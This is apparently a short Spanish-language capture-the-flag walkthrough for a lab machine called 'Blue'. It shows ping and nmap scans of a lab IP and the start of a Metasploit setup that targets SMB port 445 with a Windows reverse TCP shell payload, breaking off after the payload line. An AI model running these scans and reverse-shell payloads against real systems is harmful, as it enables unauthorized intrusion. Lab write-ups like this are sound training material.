Blue

✍️ Autor: DarkStar7471, ben🔍 Dificultad: Fácil

🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

ping -c 1 10.10.196.186

para verificar la conectividad de red.

A continuación, se realiza el comando:

nmap 10.10.196.186

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

🔎 EXPLORACIÓN

Se utiliza el comando:

sudo nmap -sCV -p135,139,445,3389 -v 10.10.196.186

para obtener más información sobre esos puertos específicamente.

Miramos si es vulnerable el puerto 445.

set RHOSTS 10.10.196.186
set payload windows/x64/shell/reverse_tcp